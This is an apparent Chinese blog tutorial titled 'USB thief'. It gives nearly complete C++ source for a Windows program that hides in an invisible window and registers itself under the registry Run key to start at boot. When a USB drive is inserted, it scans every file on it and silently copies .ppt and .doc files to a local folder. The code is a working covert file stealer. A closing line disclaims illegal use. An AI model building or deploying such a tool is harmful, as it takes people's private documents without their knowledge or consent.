U盘小偷——C++实现U盘插入检测和文件扫描拷贝

 

1.对u盘插入行为监控，并获得盘符

　　当U盘插入的时候会产生一个消息WM_DEVICECHANG，只要我们获得这个消息，然后进行处理就行。

　　为了获得消息，我们需要一个窗口

　　

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
    PSTR szCmdLine, int iCmdShow)
{
    static TCHAR szAppName[] = TEXT("UUUUUU");
    HWND               hwnd;
    MSG                msg;
    WNDCLASS           wndclass;

    wndclass.style = 0;
    wndclass.lpfnWndProc = WndProc;
    wndclass.cbClsExtra = 0;
    wndclass.cbWndExtra = 0;
    wndclass.hInstance = hInstance;
    wndclass.hIcon = 0;
    wndclass.hCursor = 0;
    wndclass.hbrBackground = 0;
    wndclass.lpszMenuName = NULL;
    wndclass.lpszClassName = szAppName;

    SetAutoRun(TRUE);
    if (!RegisterClass(&wndclass))
    {
        MessageBox(NULL, TEXT("Program requires Windows NT!"),
            szAppName, MB_ICONERROR);
        return 0;
    }
    hwnd = CreateWindow(szAppName, NULL,
        WS_DISABLED,
        0, 0,
        0, 0,
        NULL, NULL, hInstance, NULL);
    while (GetMessage(&msg, NULL, 0, 0))
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    }
    return msg.wParam;
}

　　窗口回调函数：

LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM
    lParam)
{
    switch (message)
    {
    case WM_CREATE:           //处理一些要下面要用到的全局变量
        U[1] = ‘:‘;

        SetTimer(hwnd, TIMER, 5000, 0);//启动计时器

        return 0;
    case WM_TIMER:             //timer message 

        SendMessage(hwnd, WM_DEVICECHANGE, 0, 0);//检测有没有插入设备消息

        return 0;
    case WM_DEVICECHANGE:
        OnDeviceChange(hwnd, wParam, lParam);
        return 0;
    case WM_DESTROY:
        KillTimer(hwnd, TIMER);
        PostQuitMessage(0);
        return 0;
    }
    return DefWindowProc(hwnd, message, wParam, lParam);
}

　　OnDeviceChange函数是对WM_DEVICECHANGE消息的处理，在这个函数里，就可以实现对u盘插入行为的监控，并处理。

LRESULT OnDeviceChange(HWND hwnd, WPARAM wParam, LPARAM lParam)
{
    PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)lParam;
    switch (wParam)
    {
    case DBT_DEVICEARRIVAL: //插入
        if (lpdb->dbch_devicetype == DBT_DEVTYP_VOLUME)
        {
            PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;
            U[0] = FirstDriveFromMask(lpdbv->dbcv_unitmask);//得到u盘盘符
            //MessageBox(0, U, "Notice!", MB_OK);
            string Utemp;
            Utemp = U;
        //    Utemp += "\\";
            Filesearch(Utemp, 0);  //搜索u盘
            CopyPPT(FileList);    //复制ppt
            CopyDOC(FileList);    //复制doc
            //MessageBox(0, "Copy Success", "Notice!", MB_OK);

        }
        break;
    case DBT_DEVICEREMOVECOMPLETE: //设备删除
        //MessageBox(0, "u盘退出", "Notice!", MB_OK);
        break;
    }
    return LRESULT();
}

　　FirstDriveFromMask(lpdbv->dbcv_unitmask);可以获得盘符，有了盘符，U盘就相当于一个普通的文件夹了。

2.文件遍历 查找 搜索 复制

void Filesearch(string Path, int Layer)
{
    FileInfo FileInfomation;
    struct _finddata_t filefind;
    string Current = Path + "\\*.*";                            // 修改此处改变搜索条件
    int Done = 0, i, Handle;
    string FullPath;
    if ((Handle = _findfirst(Current.c_str(), &filefind)) != -1)
    {
        while (!(Done = _findnext(Handle, &filefind)))
        {
            if (strcmp(filefind.name, "..") == 0)
                continue;
            for (i = 0; i <Layer; i++)
                printf("\t");
            if ((_A_SUBDIR == filefind.attrib))                // 是目录
            {
                printf("[Dir]:\t%s\n", filefind.name);
                Current = Path + "\\" + filefind.name;
                Filesearch(Current, Layer + 1);                    // 递归遍历子目录
            }
            else
            {
                printf("[File]:\t%s\n", filefind.name);
                FullPath = Path + "\\" + filefind.name;
                FileInfomation.Name = filefind.name;
                FileInfomation.FullPath = FullPath;
                FileList.push_back(FileInfomation);
                FullPath.empty();
            }
        }
        _findclose(Handle);
    }
}

void CopyPPT(vector<FileInfo> FileList)
{
        mkdir("C:\\Destest");
        for (auto iterator = FileList.cbegin(); iterator != FileList.cend(); ++iterator)
        {
            string TempPath;
            //printf("%s\r\n", iterator->);
            
            if ((int)(iterator->Name.find(".ppt")) > 0)
            {
                TempPath = DesPath + "\\" + iterator->Name ;
                BOOL bOk = CopyFileA(iterator->FullPath.c_str(), TempPath.c_str(), false);
                cout << GetLastError();
                if (bOk == TRUE)
                {
                //    MessageBox(0, "Copy Success", "Notice!", MB_OK);

                }
                else
                {
                //    MessageBox(0, "Copy Fail", "Notice!", MB_OK);
                }
            }

        }
}

void CopyDOC(vector<FileInfo> FileList)
{
    mkdir("C:\\Destest");
    for (auto iterator = FileList.cbegin(); iterator != FileList.cend(); ++iterator)
    {
        string TempPath;
        //printf("%s\r\n", iterator->);

        if ((int)(iterator->Name.find(".doc")) > 0)
        {
            TempPath = DesPath + "\\" + iterator->Name;
            BOOL bOk = CopyFileA(iterator->FullPath.c_str(), TempPath.c_str(), false);
            cout << GetLastError();
            if (bOk == TRUE)
            {
                //    MessageBox(0, "Copy Success", "Notice!", MB_OK);

            }
            else
            {
                //    MessageBox(0, "Copy Fail", "Notice!", MB_OK);
            }
        }
    }
}

3.开机自启动 注册表实现

void SetAutoRun(BOOL bAutoRun)
{
    HKEY hKey;
    char* strRegPath = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run";//找到系统的启动项  
    if (bAutoRun)
    {
        if (RegOpenKeyEx(HKEY_CURRENT_USER, strRegPath, 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS) //打开启动项       
        {
            TCHAR szModule[_MAX_PATH];
            GetModuleFileName(NULL, szModule, _MAX_PATH);//得到本程序自身的全路径  
            RegSetValueEx(hKey, "U盘检测", 0, REG_SZ, (const BYTE*)(LPCSTR)szModule, strlen(szModule)); //添加一个子Key,并设置值，"Client"是应用程序名字（不加后缀.exe）  
            RegCloseKey(hKey); //关闭注册表  
        }
        else
        {
        //    MessageBox("系统参数错误,不能随系统启动");
        }
    }
    else
    {
        if (RegOpenKeyEx(HKEY_CURRENT_USER, strRegPath, 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS)
        {
            RegDeleteValue(hKey, "U盘检测");
            RegCloseKey(hKey);
        }
    }
}

 

Win10下可以实现功能，另外这不是控制台程序，为了实现对消息的监控，这得是窗口程序。

 

猥琐的小程序可能包含一些奇淫技巧，但是还是不能做非法不道德事。